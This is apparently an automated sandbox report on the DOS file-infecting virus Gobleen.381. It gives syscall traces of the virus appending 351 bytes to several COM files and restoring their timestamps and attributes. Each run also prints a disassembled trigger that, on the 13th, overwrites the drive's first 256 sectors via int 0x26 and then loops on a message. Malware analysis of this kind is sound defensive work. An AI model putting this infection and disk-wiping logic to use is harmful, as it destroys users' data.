Sample viewer

vx.netlux.org/Virus.DOS.Gobleen.381

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T21:59:52.288899708Z 26 PC: 12a78 | Set disk transfer address
2018-12-17T21:59:52.290616111Z 78 PC: 12a83 | Find first file
2018-12-17T21:59:52.296280454Z 67 PC: 12b03 | Get or set file attributes
2018-12-17T21:59:52.311775353Z 61 PC: 12b0c | Open file (Filename = 'SLEEP.COM')
2018-12-17T21:59:52.323748393Z 63 PC: 12b18 | Read file or device (Read 5 bytes on handle 5)
2018-12-17T21:59:52.329855323Z 66 PC: 12b30 | Move file pointer
2018-12-17T21:59:52.331320807Z 64 PC: 12b64 | Write file or device (Write 30 bytes on handle 5)
2018-12-17T21:59:52.33448397Z 64 PC: 12b6f | Write file or device (Write 351 bytes on handle 5)
2018-12-17T21:59:52.340973582Z 66 PC: 12b77 | Move file pointer
2018-12-17T21:59:52.342175681Z 64 PC: 12b82 | Write file or device (Write 3 bytes on handle 5)
2018-12-17T21:59:52.347706864Z 64 PC: 12b8d | Write file or device (Write 2 bytes on handle 5)
2018-12-17T21:59:52.349720184Z 87 PC: 12b9a | Get or set file date and time
2018-12-17T21:59:52.350856679Z 62 PC: 12b9e | Close file
2018-12-17T21:59:52.357454601Z 67 PC: 12bab | Get or set file attributes
2018-12-17T21:59:52.36174352Z 79 PC: 12a83 | Find next file
2018-12-17T21:59:52.364248199Z 67 PC: 12b03 | Get or set file attributes
2018-12-17T21:59:52.375287338Z 61 PC: 12b0c | Open file (Filename = 'PRINT.COM')
2018-12-17T21:59:52.380961629Z 63 PC: 12b18 | Read file or device (Read 5 bytes on handle 5)
2018-12-17T21:59:52.386072625Z 66 PC: 12b30 | Move file pointer
2018-12-17T21:59:52.38734486Z 64 PC: 12b64 | Write file or device (Write 30 bytes on handle 5)
2018-12-17T21:59:52.389825134Z 64 PC: 12b6f | Write file or device (Write 351 bytes on handle 5)
2018-12-17T21:59:52.392328637Z 66 PC: 12b77 | Move file pointer
2018-12-17T21:59:52.393518076Z 64 PC: 12b82 | Write file or device (Write 3 bytes on handle 5)
2018-12-17T21:59:52.396588105Z 64 PC: 12b8d | Write file or device (Write 2 bytes on handle 5)
2018-12-17T21:59:52.399352105Z 87 PC: 12b9a | Get or set file date and time
2018-12-17T21:59:52.400978026Z 62 PC: 12b9e | Close file
2018-12-17T21:59:52.408792544Z 67 PC: 12bab | Get or set file attributes
2018-12-17T21:59:52.418367665Z 79 PC: 12a83 | Find next file
2018-12-17T21:59:52.424933561Z 67 PC: 12b03 | Get or set file attributes
2018-12-17T21:59:52.44546297Z 61 PC: 12b0c | Open file (Filename = 'HELLO.COM')
2018-12-17T21:59:52.45242637Z 63 PC: 12b18 | Read file or device (Read 5 bytes on handle 5)
2018-12-17T21:59:52.458484154Z 66 PC: 12b30 | Move file pointer
2018-12-17T21:59:52.46062503Z 64 PC: 12b64 | Write file or device (Write 30 bytes on handle 5)
2018-12-17T21:59:52.463266521Z 64 PC: 12b6f | Write file or device (Write 351 bytes on handle 5)
2018-12-17T21:59:52.465867066Z 66 PC: 12b77 | Move file pointer
2018-12-17T21:59:52.467668893Z 64 PC: 12b82 | Write file or device (Write 3 bytes on handle 5)
2018-12-17T21:59:52.47014638Z 64 PC: 12b8d | Write file or device (Write 2 bytes on handle 5)
2018-12-17T21:59:52.472635128Z 87 PC: 12b9a | Get or set file date and time
2018-12-17T21:59:52.474683555Z 62 PC: 12b9e | Close file
2018-12-17T21:59:52.48220337Z 67 PC: 12bab | Get or set file attributes
2018-12-17T21:59:52.487249978Z 79 PC: 12a83 | Find next file
2018-12-17T21:59:52.490749587Z 67 PC: 12b03 | Get or set file attributes
2018-12-17T21:59:52.503561806Z 61 PC: 12b0c | Open file (Filename = 'PHANG.COM')
2018-12-17T21:59:52.510163412Z 63 PC: 12b18 | Read file or device (Read 5 bytes on handle 5)
2018-12-17T21:59:52.517491282Z 66 PC: 12b30 | Move file pointer
2018-12-17T21:59:52.519335632Z 64 PC: 12b64 | Write file or device (Write 30 bytes on handle 5)
2018-12-17T21:59:52.522578323Z 64 PC: 12b6f | Write file or device (Write 351 bytes on handle 5)
2018-12-17T21:59:52.525745713Z 66 PC: 12b77 | Move file pointer
2018-12-17T21:59:52.52825067Z 64 PC: 12b82 | Write file or device (Write 3 bytes on handle 5)
2018-12-17T21:59:52.531187823Z 64 PC: 12b8d | Write file or device (Write 2 bytes on handle 5)
2018-12-17T21:59:52.534110971Z 87 PC: 12b9a | Get or set file date and time
2018-12-17T21:59:52.53662461Z 62 PC: 12b9e | Close file
2018-12-17T21:59:52.544374623Z 67 PC: 12bab | Get or set file attributes
2018-12-17T21:59:52.548949418Z 79 PC: 12a83 | Find next file
2018-12-17T21:59:52.552100263Z 67 PC: 12b03 | Get or set file attributes
2018-12-17T21:59:52.561781959Z 61 PC: 12b0c | Open file (Filename = 'PRINTA~1.COM')
2018-12-17T21:59:52.5688575Z 63 PC: 12b18 | Read file or device (Read 5 bytes on handle 5)
2018-12-17T21:59:52.576344582Z 66 PC: 12b30 | Move file pointer
2018-12-17T21:59:52.578186097Z 64 PC: 12b64 | Write file or device (Write 30 bytes on handle 5)
2018-12-17T21:59:52.581212487Z 64 PC: 12b6f | Write file or device (Write 351 bytes on handle 5)
2018-12-17T21:59:52.584770505Z 66 PC: 12b77 | Move file pointer
2018-12-17T21:59:52.591531028Z 64 PC: 12b82 | Write file or device (Write 3 bytes on handle 5)
2018-12-17T21:59:52.594513574Z 64 PC: 12b8d | Write file or device (Write 2 bytes on handle 5)
2018-12-17T21:59:52.598027919Z 87 PC: 12b9a | Get or set file date and time
2018-12-17T21:59:52.599794984Z 62 PC: 12b9e | Close file
2018-12-17T21:59:52.607102976Z 67 PC: 12bab | Get or set file attributes
2018-12-17T21:59:52.612634278Z 79 PC: 12a83 | Find next file
2018-12-17T21:59:52.615390572Z 67 PC: 12b03 | Get or set file attributes
2018-12-17T21:59:52.625029316Z 61 PC: 12b0c | Open file (Filename = 'MANDEL.COM')
2018-12-17T21:59:52.633389745Z 63 PC: 12b18 | Read file or device (Read 5 bytes on handle 5)
2018-12-17T21:59:52.639620969Z 66 PC: 12b30 | Move file pointer
2018-12-17T21:59:52.641259878Z 64 PC: 12b64 | Write file or device (Write 30 bytes on handle 5)
2018-12-17T21:59:52.650258787Z 64 PC: 12b6f | Write file or device (Write 351 bytes on handle 5)
2018-12-17T21:59:52.653061075Z 66 PC: 12b77 | Move file pointer
2018-12-17T21:59:52.65467076Z 64 PC: 12b82 | Write file or device (Write 3 bytes on handle 5)
2018-12-17T21:59:52.662384548Z 64 PC: 12b8d | Write file or device (Write 2 bytes on handle 5)
2018-12-17T21:59:52.664945321Z 87 PC: 12b9a | Get or set file date and time
2018-12-17T21:59:52.666399246Z 62 PC: 12b9e | Close file
2018-12-17T21:59:52.675344303Z 67 PC: 12bab | Get or set file attributes
2018-12-17T21:59:52.68056949Z 79 PC: 12a83 | Find next file
2018-12-17T21:59:52.683466705Z 67 PC: 12b03 | Get or set file attributes
2018-12-17T21:59:52.693849761Z 61 PC: 12b0c | Open file (Filename = 'PAH.COM')
2018-12-17T21:59:52.701179364Z 63 PC: 12b18 | Read file or device (Read 5 bytes on handle 5)
2018-12-17T21:59:52.707481874Z 66 PC: 12b30 | Move file pointer
2018-12-17T21:59:52.710238549Z 64 PC: 12b64 | Write file or device (Write 30 bytes on handle 5)
2018-12-17T21:59:52.712817946Z 64 PC: 12b6f | Write file or device (Write 351 bytes on handle 5)
2018-12-17T21:59:52.715838721Z 66 PC: 12b77 | Move file pointer
2018-12-17T21:59:52.717741154Z 64 PC: 12b82 | Write file or device (Write 3 bytes on handle 5)
2018-12-17T21:59:52.720276675Z 64 PC: 12b8d | Write file or device (Write 2 bytes on handle 5)
2018-12-17T21:59:52.722759678Z 87 PC: 12b9a | Get or set file date and time
2018-12-17T21:59:52.725141737Z 62 PC: 12b9e | Close file
2018-12-17T21:59:52.732597111Z 67 PC: 12bab | Get or set file attributes
2018-12-17T21:59:52.737098301Z 79 PC: 12a83 | Find next file
2018-12-17T21:59:52.740227527Z 67 PC: 12b03 | Get or set file attributes
2018-12-17T21:59:52.749780471Z 61 PC: 12b0c | Open file (Filename = 'TEST.COM')
2018-12-17T21:59:52.757545163Z 63 PC: 12b18 | Read file or device (Read 5 bytes on handle 5)
2018-12-17T21:59:52.76475954Z 62 PC: 12b9e | Close file
2018-12-17T21:59:52.767561153Z 67 PC: 12bab | Get or set file attributes
2018-12-17T21:59:52.77758708Z 79 PC: 12a83 | Find next file
2018-12-17T21:59:52.780850266Z 78 PC: 12a90 | Find first file
2018-12-17T21:59:52.786522187Z 42 PC: 12ac8 | Get date 0x12ac8: cmp dl, 0xd
0x12acb: jne 0x12aef
0x12acd: mov ah, 0x19
0x12acf: int 0x21
0x12ad1: mov cx, 0x100
0x12ad4: cli
0x12ad5: mov dx, 0
0x12ad8: int 0x26
0x12ada: sti
0x12adb: mov ah, 0x40
0x12add: mov bx, 1
0x12ae0: mov cx, 0x1a
0x12ae3: lea dx, word ptr [bp + 0x16a]
0x12ae7: int 0x21
0x12ae9: xor ax, ax
0x12aeb: int 0x16
0x12aed: jmp 0x12adb
0x12aef: mov ah, 0x1a
0x12af1: mov dx, 0x80
0x12af4: int 0x21
2018-12-17T21:59:52.788585062Z 26 PC: 12af6 | Set disk transfer address

{"DateBased":true,"Day":1,"Month":1,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":1096,"SideJobID":0}

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T11:42:47.985867577Z 26 PC: 12a78 | Set disk transfer address
2018-12-25T11:42:47.988793297Z 78 PC: 12a83 | Find first file
2018-12-25T11:42:47.99471888Z 67 PC: 12b03 | Get or set file attributes
2018-12-25T11:42:48.020222131Z 61 PC: 12b0c | Open file (Filename = 'SLEEP.COM')
2018-12-25T11:42:48.030072162Z 63 PC: 12b18 | Read file or device (Read 5 bytes on handle 5)
2018-12-25T11:42:48.037402713Z 66 PC: 12b30 | Move file pointer
2018-12-25T11:42:48.039494094Z 64 PC: 12b64 | Write file or device (Write 30 bytes on handle 5)
2018-12-25T11:42:48.042725198Z 64 PC: 12b6f | Write file or device (Write 351 bytes on handle 5)
2018-12-25T11:42:48.054747912Z 66 PC: 12b77 | Move file pointer
2018-12-25T11:42:48.056390758Z 64 PC: 12b82 | Write file or device (Write 3 bytes on handle 5)
2018-12-25T11:42:48.066862956Z 64 PC: 12b8d | Write file or device (Write 2 bytes on handle 5)
2018-12-25T11:42:48.070297293Z 87 PC: 12b9a | Get or set file date and time
2018-12-25T11:42:48.072184837Z 62 PC: 12b9e | Close file
2018-12-25T11:42:48.080161185Z 67 PC: 12bab | Get or set file attributes
2018-12-25T11:42:48.0857216Z 79 PC: 12a83 | Find next file (See above)
2018-12-25T11:42:48.088423528Z 67 PC: 12b03 | Get or set file attributes (See above)
2018-12-25T11:42:48.105355424Z 61 PC: 12b0c | Open file (See above)
2018-12-25T11:42:48.112533791Z 63 PC: 12b18 | Read file or device (See above)
2018-12-25T11:42:48.119182034Z 66 PC: 12b30 | Move file pointer (See above)
2018-12-25T11:42:48.120680934Z 64 PC: 12b64 | Write file or device (See above)
2018-12-25T11:42:48.123830815Z 64 PC: 12b6f | Write file or device (See above)
2018-12-25T11:42:48.126474659Z 66 PC: 12b77 | Move file pointer (See above)
2018-12-25T11:42:48.127678301Z 64 PC: 12b82 | Write file or device (See above)
2018-12-25T11:42:48.130634138Z 64 PC: 12b8d | Write file or device (See above)
2018-12-25T11:42:48.133634124Z 87 PC: 12b9a | Get or set file date and time (See above)
2018-12-25T11:42:48.135493397Z 62 PC: 12b9e | Close file (See above)
2018-12-25T11:42:48.158613068Z 67 PC: 12bab | Get or set file attributes (See above)
2018-12-25T11:42:48.16442804Z 79 PC: 12a83 | Find next file (See above)
2018-12-25T11:42:48.167033865Z 67 PC: 12b03 | Get or set file attributes (See above)
2018-12-25T11:42:48.176411944Z 61 PC: 12b0c | Open file (See above)
2018-12-25T11:42:48.183136194Z 63 PC: 12b18 | Read file or device (See above)
2018-12-25T11:42:48.189460848Z 66 PC: 12b30 | Move file pointer (See above)
2018-12-25T11:42:48.190930038Z 64 PC: 12b64 | Write file or device (See above)
2018-12-25T11:42:48.193862855Z 64 PC: 12b6f | Write file or device (See above)
2018-12-25T11:42:48.196559773Z 66 PC: 12b77 | Move file pointer (See above)
2018-12-25T11:42:48.203188002Z 64 PC: 12b82 | Write file or device (See above)
2018-12-25T11:42:48.206740676Z 64 PC: 12b8d | Write file or device (See above)
2018-12-25T11:42:48.209581783Z 87 PC: 12b9a | Get or set file date and time (See above)
2018-12-25T11:42:48.210974017Z 62 PC: 12b9e | Close file (See above)
2018-12-25T11:42:48.218328796Z 67 PC: 12bab | Get or set file attributes (See above)
2018-12-25T11:42:48.224053832Z 79 PC: 12a83 | Find next file (See above)
2018-12-25T11:42:48.226654921Z 67 PC: 12b03 | Get or set file attributes (See above)
2018-12-25T11:42:48.236064442Z 61 PC: 12b0c | Open file (See above)
2018-12-25T11:42:48.242759026Z 63 PC: 12b18 | Read file or device (See above)
2018-12-25T11:42:48.24902516Z 66 PC: 12b30 | Move file pointer (See above)
2018-12-25T11:42:48.25074991Z 64 PC: 12b64 | Write file or device (See above)
2018-12-25T11:42:48.254111688Z 64 PC: 12b6f | Write file or device (See above)
2018-12-25T11:42:48.256957006Z 66 PC: 12b77 | Move file pointer (See above)
2018-12-25T11:42:48.258524399Z 64 PC: 12b82 | Write file or device (See above)
2018-12-25T11:42:48.261691498Z 64 PC: 12b8d | Write file or device (See above)
2018-12-25T11:42:48.264455365Z 87 PC: 12b9a | Get or set file date and time (See above)
2018-12-25T11:42:48.266122506Z 62 PC: 12b9e | Close file (See above)
2018-12-25T11:42:48.273712499Z 67 PC: 12bab | Get or set file attributes (See above)
2018-12-25T11:42:48.278604763Z 79 PC: 12a83 | Find next file (See above)
2018-12-25T11:42:48.281445351Z 67 PC: 12b03 | Get or set file attributes (See above)
2018-12-25T11:42:48.291890665Z 61 PC: 12b0c | Open file (See above)
2018-12-25T11:42:48.298381994Z 63 PC: 12b18 | Read file or device (See above)
2018-12-25T11:42:48.304467295Z 66 PC: 12b30 | Move file pointer (See above)
2018-12-25T11:42:48.306525654Z 64 PC: 12b64 | Write file or device (See above)
2018-12-25T11:42:48.309058126Z 64 PC: 12b6f | Write file or device (See above)
2018-12-25T11:42:48.311524141Z 66 PC: 12b77 | Move file pointer (See above)
2018-12-25T11:42:48.313243187Z 64 PC: 12b82 | Write file or device (See above)
2018-12-25T11:42:48.315729124Z 64 PC: 12b8d | Write file or device (See above)
2018-12-25T11:42:48.318638832Z 87 PC: 12b9a | Get or set file date and time (See above)
2018-12-25T11:42:48.320568106Z 62 PC: 12b9e | Close file (See above)
2018-12-25T11:42:48.327565792Z 67 PC: 12bab | Get or set file attributes (See above)
2018-12-25T11:42:48.332118246Z 79 PC: 12a83 | Find next file (See above)
2018-12-25T11:42:48.335545041Z 67 PC: 12b03 | Get or set file attributes (See above)
2018-12-25T11:42:48.345152486Z 61 PC: 12b0c | Open file (See above)
2018-12-25T11:42:48.356666143Z 63 PC: 12b18 | Read file or device (See above)
2018-12-25T11:42:48.363266015Z 66 PC: 12b30 | Move file pointer (See above)
2018-12-25T11:42:48.36474857Z 64 PC: 12b64 | Write file or device (See above)
2018-12-25T11:42:48.372481529Z 64 PC: 12b6f | Write file or device (See above)
2018-12-25T11:42:48.375389273Z 66 PC: 12b77 | Move file pointer (See above)
2018-12-25T11:42:48.376710356Z 64 PC: 12b82 | Write file or device (See above)
2018-12-25T11:42:48.383072601Z 64 PC: 12b8d | Write file or device (See above)
2018-12-25T11:42:48.386600152Z 87 PC: 12b9a | Get or set file date and time (See above)
2018-12-25T11:42:48.388151663Z 62 PC: 12b9e | Close file (See above)
2018-12-25T11:42:48.396188896Z 67 PC: 12bab | Get or set file attributes (See above)
2018-12-25T11:42:48.401908675Z 79 PC: 12a83 | Find next file (See above)
2018-12-25T11:42:48.404687664Z 67 PC: 12b03 | Get or set file attributes (See above)
2018-12-25T11:42:48.414453912Z 61 PC: 12b0c | Open file (See above)
2018-12-25T11:42:48.422610023Z 63 PC: 12b18 | Read file or device (See above)
2018-12-25T11:42:48.429075532Z 66 PC: 12b30 | Move file pointer (See above)
2018-12-25T11:42:48.430904277Z 64 PC: 12b64 | Write file or device (See above)
2018-12-25T11:42:48.43526946Z 64 PC: 12b6f | Write file or device (See above)
2018-12-25T11:42:48.438373961Z 66 PC: 12b77 | Move file pointer (See above)
2018-12-25T11:42:48.439903809Z 64 PC: 12b82 | Write file or device (See above)
2018-12-25T11:42:48.443354113Z 64 PC: 12b8d | Write file or device (See above)
2018-12-25T11:42:48.446109238Z 87 PC: 12b9a | Get or set file date and time (See above)
2018-12-25T11:42:48.447755397Z 62 PC: 12b9e | Close file (See above)
2018-12-25T11:42:48.455920993Z 67 PC: 12bab | Get or set file attributes (See above)
2018-12-25T11:42:48.461112086Z 79 PC: 12a83 | Find next file (See above)
2018-12-25T11:42:48.463579715Z 67 PC: 12b03 | Get or set file attributes (See above)
2018-12-25T11:42:48.474297701Z 61 PC: 12b0c | Open file (See above)
2018-12-25T11:42:48.481170654Z 63 PC: 12b18 | Read file or device (See above)
2018-12-25T11:42:48.489002208Z 62 PC: 12b9e | Close file (See above)
2018-12-25T11:42:48.491455882Z 67 PC: 12bab | Get or set file attributes (See above)
2018-12-25T11:42:48.502569408Z 79 PC: 12a83 | Find next file (See above)
2018-12-25T11:42:48.505277395Z 78 PC: 12a90 | Find first file
2018-12-25T11:42:48.511981795Z 42 PC: 12ac8 | Get date 0x12ac8: cmp dl, 0xd
0x12acb: jne 0x12aef
0x12acd: mov ah, 0x19
0x12acf: int 0x21
0x12ad1: mov cx, 0x100
0x12ad4: cli
0x12ad5: mov dx, 0
0x12ad8: int 0x26
0x12ada: sti
0x12adb: mov ah, 0x40
0x12add: mov bx, 1
0x12ae0: mov cx, 0x1a
0x12ae3: lea dx, word ptr [bp + 0x16a]
0x12ae7: int 0x21
0x12ae9: xor ax, ax
0x12aeb: int 0x16
0x12aed: jmp 0x12adb
0x12aef: mov ah, 0x1a
0x12af1: mov dx, 0x80
0x12af4: int 0x21
2018-12-25T11:42:48.51509601Z 26 PC: 12af6 | Set disk transfer address

{"DateBased":true,"Day":13,"Month":1,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":1096,"SideJobID":0}

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T11:42:48.870763552Z 26 PC: 12a78 | Set disk transfer address
2018-12-25T11:42:48.87213688Z 78 PC: 12a83 | Find first file
2018-12-25T11:42:48.880177882Z 67 PC: 12b03 | Get or set file attributes
2018-12-25T11:42:48.896866425Z 61 PC: 12b0c | Open file (Filename = 'SLEEP.COM')
2018-12-25T11:42:48.904375576Z 63 PC: 12b18 | Read file or device (Read 5 bytes on handle 5)
2018-12-25T11:42:48.912643883Z 66 PC: 12b30 | Move file pointer
2018-12-25T11:42:48.914744512Z 64 PC: 12b64 | Write file or device (Write 30 bytes on handle 5)
2018-12-25T11:42:48.918016872Z 64 PC: 12b6f | Write file or device (Write 351 bytes on handle 5)
2018-12-25T11:42:48.929575859Z 66 PC: 12b77 | Move file pointer
2018-12-25T11:42:48.931495299Z 64 PC: 12b82 | Write file or device (Write 3 bytes on handle 5)
2018-12-25T11:42:48.939228049Z 64 PC: 12b8d | Write file or device (Write 2 bytes on handle 5)
2018-12-25T11:42:48.943603043Z 87 PC: 12b9a | Get or set file date and time
2018-12-25T11:42:48.946753089Z 62 PC: 12b9e | Close file
2018-12-25T11:42:48.956506539Z 67 PC: 12bab | Get or set file attributes
2018-12-25T11:42:48.962186594Z 79 PC: 12a83 | Find next file (See above)
2018-12-25T11:42:48.965728199Z 67 PC: 12b03 | Get or set file attributes (See above)
2018-12-25T11:42:48.976572249Z 61 PC: 12b0c | Open file (See above)
2018-12-25T11:42:48.984054688Z 63 PC: 12b18 | Read file or device (See above)
2018-12-25T11:42:48.992630184Z 66 PC: 12b30 | Move file pointer (See above)
2018-12-25T11:42:48.994875618Z 64 PC: 12b64 | Write file or device (See above)
2018-12-25T11:42:48.998307289Z 64 PC: 12b6f | Write file or device (See above)
2018-12-25T11:42:49.002288277Z 66 PC: 12b77 | Move file pointer (See above)
2018-12-25T11:42:49.004321236Z 64 PC: 12b82 | Write file or device (See above)
2018-12-25T11:42:49.007652713Z 64 PC: 12b8d | Write file or device (See above)
2018-12-25T11:42:49.012092748Z 87 PC: 12b9a | Get or set file date and time (See above)
2018-12-25T11:42:49.013905777Z 62 PC: 12b9e | Close file (See above)
2018-12-25T11:42:49.0223873Z 67 PC: 12bab | Get or set file attributes (See above)
2018-12-25T11:42:49.028210588Z 79 PC: 12a83 | Find next file (See above)
2018-12-25T11:42:49.031284134Z 67 PC: 12b03 | Get or set file attributes (See above)
2018-12-25T11:42:49.042687986Z 61 PC: 12b0c | Open file (See above)
2018-12-25T11:42:49.051289948Z 63 PC: 12b18 | Read file or device (See above)
2018-12-25T11:42:49.059389776Z 66 PC: 12b30 | Move file pointer (See above)
2018-12-25T11:42:49.061725477Z 64 PC: 12b64 | Write file or device (See above)
2018-12-25T11:42:49.065511232Z 64 PC: 12b6f | Write file or device (See above)
2018-12-25T11:42:49.069361344Z 66 PC: 12b77 | Move file pointer (See above)
2018-12-25T11:42:49.071448679Z 64 PC: 12b82 | Write file or device (See above)
2018-12-25T11:42:49.074908125Z 64 PC: 12b8d | Write file or device (See above)
2018-12-25T11:42:49.079285629Z 87 PC: 12b9a | Get or set file date and time (See above)
2018-12-25T11:42:49.081171377Z 62 PC: 12b9e | Close file (See above)
2018-12-25T11:42:49.090447395Z 67 PC: 12bab | Get or set file attributes (See above)
2018-12-25T11:42:49.096840584Z 79 PC: 12a83 | Find next file (See above)
2018-12-25T11:42:49.100362061Z 67 PC: 12b03 | Get or set file attributes (See above)
2018-12-25T11:42:49.111705952Z 61 PC: 12b0c | Open file (See above)
2018-12-25T11:42:49.120670736Z 63 PC: 12b18 | Read file or device (See above)
2018-12-25T11:42:49.128559762Z 66 PC: 12b30 | Move file pointer (See above)
2018-12-25T11:42:49.130349701Z 64 PC: 12b64 | Write file or device (See above)
2018-12-25T11:42:49.13420482Z 64 PC: 12b6f | Write file or device (See above)
2018-12-25T11:42:49.137542639Z 66 PC: 12b77 | Move file pointer (See above)
2018-12-25T11:42:49.139320226Z 64 PC: 12b82 | Write file or device (See above)
2018-12-25T11:42:49.143079021Z 64 PC: 12b8d | Write file or device (See above)
2018-12-25T11:42:49.146285381Z 87 PC: 12b9a | Get or set file date and time (See above)
2018-12-25T11:42:49.148398029Z 62 PC: 12b9e | Close file (See above)
2018-12-25T11:42:49.157802828Z 67 PC: 12bab | Get or set file attributes (See above)
2018-12-25T11:42:49.163971327Z 79 PC: 12a83 | Find next file (See above)
2018-12-25T11:42:49.167433239Z 67 PC: 12b03 | Get or set file attributes (See above)
2018-12-25T11:42:49.178883273Z 61 PC: 12b0c | Open file (See above)
2018-12-25T11:42:49.188796903Z 63 PC: 12b18 | Read file or device (See above)
2018-12-25T11:42:49.196488676Z 66 PC: 12b30 | Move file pointer (See above)
2018-12-25T11:42:49.198884853Z 64 PC: 12b64 | Write file or device (See above)
2018-12-25T11:42:49.203307779Z 64 PC: 12b6f | Write file or device (See above)
2018-12-25T11:42:49.206454426Z 66 PC: 12b77 | Move file pointer (See above)
2018-12-25T11:42:49.208162137Z 64 PC: 12b82 | Write file or device (See above)
2018-12-25T11:42:49.211930537Z 64 PC: 12b8d | Write file or device (See above)
2018-12-25T11:42:49.214999905Z 87 PC: 12b9a | Get or set file date and time (See above)
2018-12-25T11:42:49.216788589Z 62 PC: 12b9e | Close file (See above)
2018-12-25T11:42:49.228235163Z 67 PC: 12bab | Get or set file attributes (See above)
2018-12-25T11:42:49.234926015Z 79 PC: 12a83 | Find next file (See above)
2018-12-25T11:42:49.238401731Z 67 PC: 12b03 | Get or set file attributes (See above)
2018-12-25T11:42:49.249824137Z 61 PC: 12b0c | Open file (See above)
2018-12-25T11:42:49.258714914Z 63 PC: 12b18 | Read file or device (See above)
2018-12-25T11:42:49.266671181Z 66 PC: 12b30 | Move file pointer (See above)
2018-12-25T11:42:49.268939217Z 64 PC: 12b64 | Write file or device (See above)
2018-12-25T11:42:49.279545895Z 64 PC: 12b6f | Write file or device (See above)
2018-12-25T11:42:49.283405945Z 66 PC: 12b77 | Move file pointer (See above)
2018-12-25T11:42:49.285371732Z 64 PC: 12b82 | Write file or device (See above)
2018-12-25T11:42:49.294293751Z 64 PC: 12b8d | Write file or device (See above)
2018-12-25T11:42:49.297957097Z 87 PC: 12b9a | Get or set file date and time (See above)
2018-12-25T11:42:49.300005826Z 62 PC: 12b9e | Close file (See above)
2018-12-25T11:42:49.30915105Z 67 PC: 12bab | Get or set file attributes (See above)
2018-12-25T11:42:49.314897267Z 79 PC: 12a83 | Find next file (See above)
2018-12-25T11:42:49.318136985Z 67 PC: 12b03 | Get or set file attributes (See above)
2018-12-25T11:42:49.329951717Z 61 PC: 12b0c | Open file (See above)
2018-12-25T11:42:49.338993798Z 63 PC: 12b18 | Read file or device (See above)
2018-12-25T11:42:49.346639351Z 66 PC: 12b30 | Move file pointer (See above)
2018-12-25T11:42:49.348995274Z 64 PC: 12b64 | Write file or device (See above)
2018-12-25T11:42:49.353338555Z 64 PC: 12b6f | Write file or device (See above)
2018-12-25T11:42:49.357135268Z 66 PC: 12b77 | Move file pointer (See above)
2018-12-25T11:42:49.360017395Z 64 PC: 12b82 | Write file or device (See above)
2018-12-25T11:42:49.36426021Z 64 PC: 12b8d | Write file or device (See above)
2018-12-25T11:42:49.367986387Z 87 PC: 12b9a | Get or set file date and time (See above)
2018-12-25T11:42:49.370103999Z 62 PC: 12b9e | Close file (See above)
2018-12-25T11:42:49.378950813Z 67 PC: 12bab | Get or set file attributes (See above)
2018-12-25T11:42:49.385563755Z 79 PC: 12a83 | Find next file (See above)
2018-12-25T11:42:49.388963093Z 67 PC: 12b03 | Get or set file attributes (See above)
2018-12-25T11:42:49.400084762Z 61 PC: 12b0c | Open file (See above)
2018-12-25T11:42:49.409137274Z 63 PC: 12b18 | Read file or device (See above)
2018-12-25T11:42:49.412164324Z 62 PC: 12b9e | Close file (See above)
2018-12-25T11:42:49.414440692Z 67 PC: 12bab | Get or set file attributes (See above)
2018-12-25T11:42:49.426888137Z 79 PC: 12a83 | Find next file (See above)
2018-12-25T11:42:49.429225023Z 78 PC: 12a90 | Find first file
2018-12-25T11:42:49.433327649Z 42 PC: 12ac8 | Get date 0x12ac8: cmp dl, 0xd
0x12acb: jne 0x12aef
0x12acd: mov ah, 0x19
0x12acf: int 0x21
0x12ad1: mov cx, 0x100
0x12ad4: cli
0x12ad5: mov dx, 0
0x12ad8: int 0x26
0x12ada: sti
0x12adb: mov ah, 0x40
0x12add: mov bx, 1
0x12ae0: mov cx, 0x1a
0x12ae3: lea dx, word ptr [bp + 0x16a]
0x12ae7: int 0x21
0x12ae9: xor ax, ax
0x12aeb: int 0x16
0x12aed: jmp 0x12adb
0x12aef: mov ah, 0x1a
0x12af1: mov dx, 0x80
0x12af4: int 0x21
2018-12-25T11:42:49.435934332Z 25 PC: 12ad1 | Get default drive
2018-12-25T11:42:49.444827093Z 64 PC: 12ae9 | Write file or device (Write 26 bytes on handle 1)

{"DateBased":true,"Day":1,"Month":1,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":1096,"SideJobID":0}

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T11:42:49.201758012Z 26 PC: 12a78 | Set disk transfer address
2018-12-25T11:42:49.20337605Z 78 PC: 12a83 | Find first file
2018-12-25T11:42:49.21096946Z 67 PC: 12b03 | Get or set file attributes
2018-12-25T11:42:49.228252034Z 61 PC: 12b0c | Open file (Filename = 'SLEEP.COM')
2018-12-25T11:42:49.236247927Z 63 PC: 12b18 | Read file or device (Read 5 bytes on handle 5)
2018-12-25T11:42:49.244910104Z 66 PC: 12b30 | Move file pointer
2018-12-25T11:42:49.24709151Z 64 PC: 12b64 | Write file or device (Write 30 bytes on handle 5)
2018-12-25T11:42:49.250440788Z 64 PC: 12b6f | Write file or device (Write 351 bytes on handle 5)
2018-12-25T11:42:49.260213318Z 66 PC: 12b77 | Move file pointer
2018-12-25T11:42:49.262967325Z 64 PC: 12b82 | Write file or device (Write 3 bytes on handle 5)
2018-12-25T11:42:49.271503655Z 64 PC: 12b8d | Write file or device (Write 2 bytes on handle 5)
2018-12-25T11:42:49.275334455Z 87 PC: 12b9a | Get or set file date and time
2018-12-25T11:42:49.277237681Z 62 PC: 12b9e | Close file
2018-12-25T11:42:49.28620108Z 67 PC: 12bab | Get or set file attributes
2018-12-25T11:42:49.292184894Z 79 PC: 12a83 | Find next file (See above)
2018-12-25T11:42:49.295332162Z 67 PC: 12b03 | Get or set file attributes (See above)
2018-12-25T11:42:49.306869748Z 61 PC: 12b0c | Open file (See above)
2018-12-25T11:42:49.314909411Z 63 PC: 12b18 | Read file or device (See above)
2018-12-25T11:42:49.323694682Z 66 PC: 12b30 | Move file pointer (See above)
2018-12-25T11:42:49.325705762Z 64 PC: 12b64 | Write file or device (See above)
2018-12-25T11:42:49.328834354Z 64 PC: 12b6f | Write file or device (See above)
2018-12-25T11:42:49.333511062Z 66 PC: 12b77 | Move file pointer (See above)
2018-12-25T11:42:49.336084515Z 64 PC: 12b82 | Write file or device (See above)
2018-12-25T11:42:49.340872234Z 64 PC: 12b8d | Write file or device (See above)
